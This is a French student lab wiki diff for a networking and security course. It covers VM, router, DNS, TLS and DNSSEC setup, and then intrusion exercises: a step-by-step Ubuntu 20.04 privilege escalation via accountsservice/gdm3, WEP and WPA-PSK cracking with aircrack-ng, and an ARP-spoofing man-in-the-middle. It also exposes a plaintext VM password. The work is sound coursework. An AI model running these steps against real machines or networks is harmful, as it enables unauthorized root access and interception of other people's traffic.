TP sysres IMA5sc 2020/2021 G8 : Différence entre versions
(→4.2 Serveur DNS) |
(→Intrusion sur un serveur d’application Web) |
||
(268 révisions intermédiaires par 2 utilisateurs non affichées) | |||
Ligne 1 : | Ligne 1 : | ||
− | = | + | =Informations générales= |
− | Tout d'abord, on fait un SSH sur | + | {| class="wikitable" |
+ | ! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6 | ||
+ | |- | ||
+ | | https://www.piedbleu.site | ||
+ | | 193.48.57.181 | ||
+ | | 100.64.0.21 | ||
+ | | 308 | ||
+ | | 10.60.108.0/24 | ||
+ | | 10.60.108.1 | ||
+ | | 10.60.108.2 | ||
+ | | 10.60.108.254 | ||
+ | | 2001:660:4401:60ba::0/64 | ||
+ | |} | ||
+ | |||
+ | =Installation de la machine virtuelle Xen= | ||
+ | |||
+ | Tout d'abord, on fait un SSH sur Capbreton. | ||
Puis création de la machine virtuelle : | Puis création de la machine virtuelle : | ||
− | xen-create-image --hostname=piedbleu --ip=100.64.0. | + | |
+ | xen-create-image --hostname=piedbleu --ip=100.64.0.21 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force | ||
On renomme les LVM avec lv rename : | On renomme les LVM avec lv rename : | ||
Ligne 19 : | Ligne 36 : | ||
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA | LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA | ||
LV Write Access read/write | LV Write Access read/write | ||
− | LV Creation host, time | + | LV Creation host, time Capbreton, 2020-10-12 16:38:58 +0100 |
LV Status available | LV Status available | ||
# open 1 | # open 1 | ||
Ligne 36 : | Ligne 53 : | ||
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1 | LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1 | ||
LV Write Access read/write | LV Write Access read/write | ||
− | LV Creation host, time | + | LV Creation host, time Capbreton, 2020-10-12 16:39:03 +0100 |
LV Status available | LV Status available | ||
# open 1 | # open 1 | ||
Ligne 58 : | Ligne 75 : | ||
Ensuite, on lance la VM : | Ensuite, on lance la VM : | ||
+ | |||
xl create -c /etc/xen/piedbleu.cfg | xl create -c /etc/xen/piedbleu.cfg | ||
+ | |||
Par la suite, pour accéder à la VM, on fera : | Par la suite, pour accéder à la VM, on fera : | ||
+ | |||
xl console piedbleu | xl console piedbleu | ||
Ligne 73 : | Ligne 93 : | ||
Et après on les monte : | Et après on les monte : | ||
mount -a | mount -a | ||
+ | |||
puis on fait un lsblk pour vérifier. | puis on fait un lsblk pour vérifier. | ||
Ligne 79 : | Ligne 100 : | ||
[[Fichier:Lsblk-g8-2021.png|480px]] | [[Fichier:Lsblk-g8-2021.png|480px]] | ||
− | = | + | =Interconnexion de VLAN= |
− | == | + | |
+ | ==Configuration IPv4== | ||
+ | |||
+ | Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP. | ||
+ | |||
+ | '''Routeur C9200''' | ||
+ | |||
+ | Nous nous connectons en ssh à partir de notre VM: | ||
+ | ssh admin@10.60.100.2 | ||
+ | |||
+ | ensuite : | ||
+ | int vlan 308 | ||
+ | vrrp 48 address-family ipv4 | ||
+ | address 10.60.108.254 | ||
+ | preempt | ||
+ | vrrpv2 | ||
+ | end | ||
+ | write | ||
+ | |||
+ | On quitte avec exit et on sauvegarde avec write. | ||
+ | |||
+ | La commande show vlan nous affiche bien notre VLAN configuré. | ||
+ | |||
+ | |||
+ | '''Routeur 6509-E''' | ||
+ | |||
+ | ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc | ||
+ | |||
+ | int vlan 308 | ||
+ | vrrp 48 ip 10.60.108.254 | ||
+ | vrrp 48 preempt | ||
+ | vrrp 48 priority 110 | ||
+ | end | ||
+ | write | ||
+ | |||
+ | On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré. | ||
+ | |||
+ | ==Configuration IPv6== | ||
+ | |||
+ | '''Routeur 6509-E''' | ||
+ | |||
+ | vlan 308 | ||
+ | name piedbleu.site | ||
+ | exit | ||
+ | int vlan 308 | ||
+ | no shut | ||
+ | ip address 10.60.108.1 255.255.255.0 | ||
+ | ipv6 enable | ||
+ | ipv6 address 2001:660:4401:60ba::/64 eui-64 | ||
+ | ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900 | ||
+ | ipv6 nd router-preference High | ||
+ | end | ||
+ | write | ||
+ | |||
+ | |||
+ | '''Routeur C9200''' | ||
+ | |||
+ | vlan 308 | ||
+ | name piedbleu.site | ||
+ | exit | ||
+ | int vlan 308 | ||
+ | no shut | ||
+ | ip address 10.60.108.2 255.255.255.0 | ||
+ | ipv6 enable | ||
+ | ipv6 address 2001:660:4401:60ba::/64 eui-64 | ||
+ | ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900 | ||
+ | ipv6 nd router-preference Low | ||
+ | end | ||
+ | write | ||
+ | |||
+ | =Services Internet= | ||
+ | ==Accès à Internet== | ||
Tout d'abord, on configure le fichier /etc/network/interfaces : | Tout d'abord, on configure le fichier /etc/network/interfaces : | ||
Ligne 98 : | Ligne 190 : | ||
iface eth0 inet6 auto | iface eth0 inet6 auto | ||
− | + | Ensuite, on fait un ssh sur les 2 routeurs, puis: | |
− | Ensuite, ssh sur | ||
enable | enable | ||
Ligne 106 : | Ligne 197 : | ||
exit | exit | ||
write | write | ||
− | |||
On fait un ping pour tester : | On fait un ping pour tester : | ||
− | + | ping google.fr | |
− | |||
− | |||
− | == | + | ==Serveur SSH== |
On modifie le fichier /etc/ssh/sshd_config. | On modifie le fichier /etc/ssh/sshd_config. | ||
Ensuite on active le serveur ssh : | Ensuite on active le serveur ssh : | ||
− | + | service ssh start | |
Puis sur un autre terminal, on fait un : | Puis sur un autre terminal, on fait un : | ||
− | + | ssh root@193.48.57.181 | |
− | |||
− | |||
− | == | + | ==Serveur DNS== |
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : | Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : | ||
Ligne 136 : | Ligne 222 : | ||
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS) | Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS) | ||
1er : ns1.piedbleu.site | 1er : ns1.piedbleu.site | ||
− | |||
− | Après avoir | + | Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM. |
Nous commençons par installer le paquet bind: | Nous commençons par installer le paquet bind: | ||
Ligne 146 : | Ligne 231 : | ||
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes: | Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes: | ||
− | 1ère étape: | + | '''1ère étape: ''' |
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf | Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf | ||
Ligne 152 : | Ligne 237 : | ||
name serveur 127.0.0.1 | name serveur 127.0.0.1 | ||
− | L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine. | + | L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost). |
− | 2ème étape: | + | '''2ème étape:''' |
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire : | Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire : | ||
− | zone "piedbleu" IN { | + | zone "piedbleu.site" IN { |
type master; | type master; | ||
file "/etc/bind/db.piedbleu.site"; | file "/etc/bind/db.piedbleu.site"; | ||
Ligne 163 : | Ligne 248 : | ||
}; | }; | ||
− | La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;). | + | La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;). |
− | 3ème | + | '''3ème étape:''' |
− | Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la | + | Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site": |
; | ; | ||
Ligne 184 : | Ligne 269 : | ||
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost. | Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost. | ||
− | Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181. | + | Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181. |
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante: | Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante: | ||
Ligne 190 : | Ligne 275 : | ||
host -t any piedbleu.site | host -t any piedbleu.site | ||
− | + | Résultat : | |
[[Fichier:reponse.png | 600px]] | [[Fichier:reponse.png | 600px]] | ||
− | = | + | A présent, nous pouvons configurer le serveur de nom secondaire : |
+ | Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS) | ||
+ | 2ème : ns6.gandi.net | ||
+ | |||
+ | ==Sécurisation de site web par certificat== | ||
+ | |||
+ | Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat. | ||
+ | |||
+ | Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante: | ||
+ | |||
+ | @ IN MX 100 ns1.piedbleu.site. | ||
+ | |||
+ | Nous installons ensuite postfix (configuration : "Internet Site", nom du site " piedbleu.site"). | ||
+ | |||
+ | Nous ajoutons ensuite l'alias dans le fichier /etc/aliases | ||
+ | |||
+ | admin:root | ||
+ | |||
+ | et nous effectuons la commande : | ||
+ | |||
+ | newaliases | ||
+ | |||
+ | Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande : | ||
+ | |||
+ | mailx | ||
+ | |||
+ | |||
+ | Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi. | ||
+ | |||
+ | Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante: | ||
+ | |||
+ | openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr | ||
+ | |||
+ | |||
+ | -newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits. | ||
+ | |||
+ | -keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key". | ||
+ | |||
+ | -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr". | ||
+ | |||
+ | À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name. | ||
+ | |||
+ | Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr. | ||
+ | |||
+ | Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat. | ||
+ | |||
+ | On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique: | ||
+ | |||
+ | /etc/ssl/piedbleu.site.crt | ||
+ | /etc/ssl/GandiStandardSSLCA2.pem | ||
+ | |||
+ | Nous copions aussi notre clé privée dans ce répertoire: | ||
+ | |||
+ | /etc/ssl/piedbleu.site.key | ||
+ | |||
+ | Nous pouvons maintenant passer à la configuration d'apache2 : | ||
+ | |||
+ | Tout d'abord, il est nécessaire d'activer le module SSL d'apache: | ||
+ | |||
+ | a2enmod ssl | ||
+ | |||
+ | Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443): | ||
+ | |||
+ | <VirtualHost *:80> | ||
+ | ServerAdmin admin@piedbleu.site | ||
+ | DocumentRoot /var/www/html | ||
+ | ErrorLog ${APACHE_LOG_DIR}/error.log | ||
+ | CustomLog ${APACHE_LOG_DIR}/access.log combined | ||
+ | Redirect permanent / https://www.piedbleu.site/ | ||
+ | </VirtualHost> | ||
+ | <VirtualHost *:443> | ||
+ | ServerName piedbleu.site | ||
+ | ServerAlias www.piedbleu.site | ||
+ | DocumentRoot /var/www/html | ||
+ | CustomLog /var/log/apache2/secure_access.log combined | ||
+ | SSLEngine on | ||
+ | SSLCertificateFile /etc/ssl/piedbleu.site.crt | ||
+ | SSLCertificateKeyFile /etc/ssl/piedbleu.site.key | ||
+ | SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None | ||
+ | </VirtualHost> | ||
+ | |||
+ | La commande : | ||
+ | apachect1 configtest | ||
+ | nous indique bien que la syntaxe est correcte. | ||
+ | |||
+ | Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) : | ||
+ | |||
+ | www IN A 193.48.57.181 | ||
+ | |||
+ | Pour que les modifications soient prises en compte, nous redémarrons apache2: | ||
+ | |||
+ | service apache2 restart | ||
+ | |||
+ | ==Sécurisation du serveur DNS par DNSSEC== | ||
− | + | Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option: | |
+ | dnssec-enable yes | ||
− | Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en <span style="color:red"> '''exclusivité dans le département IMA''' </span> l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai | + | Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs. |
+ | |||
+ | Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone: | ||
+ | dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site | ||
+ | |||
+ | Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements: | ||
+ | dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site | ||
+ | |||
+ | Nous renommons les deux paires de clefs obtenues de la manière suivante: | ||
+ | Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key | ||
+ | Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private | ||
+ | Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key | ||
+ | Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private | ||
+ | |||
+ | Nous incluons ensuite les deux clefs publiques dans notre fichier de zone: | ||
+ | |||
+ | $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key | ||
+ | $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key | ||
+ | |||
+ | Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte. | ||
+ | |||
+ | On signe ensuite les enregistrements de la zone : | ||
+ | dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk | ||
+ | |||
+ | Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed : | ||
+ | |||
+ | zone "piedbleu.site" IN { | ||
+ | type master; | ||
+ | file "/etc/bind/db.piedbleu.site.signed"; | ||
+ | allow-transfer { 217.70.177.40; }; | ||
+ | }; | ||
+ | |||
+ | La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi. | ||
+ | |||
+ | service bind9 restart | ||
+ | |||
+ | '''Vérification :''' | ||
+ | |||
+ | Nous vérifions la configuration de notre DNS grâce au site : https://dnsviz.net/d/piedbleu.site/dnssec/ | ||
+ | |||
+ | De plus, l'utilisation de la commande : | ||
+ | dnssec-verify -o piedbleu.site db.piedbleu.site.signed | ||
+ | |||
+ | nous donne le résultat suivant: | ||
+ | Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed' | ||
+ | Verifying the zone using the following algorithms: RSASHA1. | ||
+ | Zone fully signed: | ||
+ | Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked | ||
+ | ZSKs: 1 active, 0 stand-by, 0 revoked | ||
+ | |||
+ | ==IPv6== | ||
+ | |||
+ | Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site | ||
+ | |||
+ | ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c | ||
+ | www IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c | ||
+ | |||
+ | Ensuite, on resigne le DNS : | ||
+ | |||
+ | dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk | ||
+ | |||
+ | Et on redémarre bind9. | ||
+ | |||
+ | =Tests d’intrusion= | ||
+ | |||
+ | ==Exploitation de failles du système : Ubuntu 20.04== | ||
+ | |||
+ | Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en <span style="color:red"> '''exclusivité dans le département IMA''' </span> l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux. | ||
1) J'installe Ubuntu 20.04 dans une VM. | 1) J'installe Ubuntu 20.04 dans une VM. | ||
Ligne 204 : | Ligne 450 : | ||
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche... | 2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche... | ||
− | + | sudo adduser u1 | |
− | + | su u1 | |
− | + | id | |
− | + | uid=1001(u1) gid=1001(u1) groupes=1001(u1) | |
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : | 3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : | ||
− | + | ln -s /dev/zero ~/.pam_environment | |
Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : | Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : | ||
− | + | top | |
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP. | On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP. | ||
− | + | kill -SIGSTOP 1098 | |
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session. | Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session. | ||
− | + | rm ~/.pam_environment | |
− | Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. | + | Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes. |
− | + | nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098" | |
On se déconnecte de notre session. | On se déconnecte de notre session. | ||
− | Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres | + | Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine ! |
− | + | whoami | |
− | + | pwn | |
− | + | id | |
− | + | uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo) | |
Ligne 245 : | Ligne 491 : | ||
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... | La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... | ||
− | Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup. | + | Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup. |
− | ''' | + | '''Note 1 : ''' La faille semble avoir été rapidement patchée. |
− | ''' | + | '''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : |
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127) | accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127) | ||
Ligne 256 : | Ligne 502 : | ||
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125) | gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125) | ||
− | ''' | + | '''Version du noyau et des parquets : ''' |
+ | Ubuntu 20.04.1 LTS, kernel 5.6 | ||
+ | gdm3, version 3.36.3-0ubuntu0.20.04.1 | ||
+ | accountsservice, version 0.6.55-0ubuntu12~20.04.1 | ||
+ | |||
+ | ''' Source : ''' | ||
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020 | ''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020 | ||
Ligne 262 : | Ligne 513 : | ||
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE | https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE | ||
− | == | + | ==Cassage de clef WEP d’un point d’accès WiFi== |
Nous commençons tout d’abord par installer le paquet aircrack : | Nous commençons tout d’abord par installer le paquet aircrack : | ||
− | + | apt-get install aircrack-ng | |
− | À partir de là, nous listons la liste des interfaces wifi disponibles | + | À partir de là, nous listons la liste des interfaces wifi disponibles : |
− | + | airmon-ng | |
[[Fichier:screen1.png|600px]] | [[Fichier:screen1.png|600px]] | ||
− | + | On remarque que notre carte wifi est désignée par le nom wlp1s0mon. | |
− | On remarque que notre carte wifi est désignée par le nom wlp1s0mon | ||
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours. | Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours. | ||
− | + | airmon-ng start wlp1s0mon | |
− | |||
− | On | + | On peut ensuite lancer le scan des réseaux wifi environnants : |
− | + | airodump-ng --encrypt wep wlp1s0mon | |
[[Fichier:Screen2.png|600px]] | [[Fichier:Screen2.png|600px]] | ||
+ | On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3. | ||
− | On | + | On capture ensuite les paquets émis par le point d’accès cible : |
− | + | airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon | |
− | |||
− | |||
[[Fichier:Screen3.png|600px]] | [[Fichier:Screen3.png|600px]] | ||
+ | On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé : | ||
− | + | aircrack-ng -z mon_fichier-01.cap | |
− | |||
− | |||
[[Fichier:Screen4.png|600px]] | [[Fichier:Screen4.png|600px]] | ||
+ | On voit que le programme a réussi à trouver la clé (message « Key Found »). | ||
− | + | ==Cassage de mot de passe WPA-PSK par force brute== | |
− | |||
− | == | ||
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon). | Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon). | ||
Ligne 313 : | Ligne 559 : | ||
On lance ensuite le scan des réseaux wifi WPA PSK environnants : | On lance ensuite le scan des réseaux wifi WPA PSK environnants : | ||
− | + | airodump-ng --encrypt wpa-psk wlp1s0mon | |
− | |||
− | |||
− | [[Fichier: | + | [[Fichier:scankracotte.png || 600px]] |
− | Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID | + | Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID. |
− | Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 | + | Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante: |
− | + | airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture | |
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake. | Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake. | ||
Ligne 329 : | Ligne 573 : | ||
[[Fichier:Handshake1.png | 600px]] | [[Fichier:Handshake1.png | 600px]] | ||
− | Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par | + | Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. |
− | Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons | + | Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée): |
− | + | crunch 8 8 -o 12345678 > motdepasse.txt | |
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt. | Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt. | ||
− | Ensuite, nous effectuons l'attaque par | + | Ensuite, nous effectuons l'attaque par force brute avec la commande suivante : |
+ | |||
+ | aircrack-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap | ||
+ | |||
+ | Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte : | ||
+ | |||
+ | [[Fichier:WPA-6.png|600px]] | ||
+ | |||
+ | ==Attaque de type "homme au milieu" par usurpation ARP== | ||
+ | |||
+ | Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur : | ||
+ | |||
+ | apt install dsniff | ||
+ | export PATH=/sbin:/usr/sbin:$PATH | ||
+ | echo 1 > /proc/sys/net/ipv4/ip_forward | ||
− | + | Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : | |
− | + | arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254 | |
− | + | Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr). | |
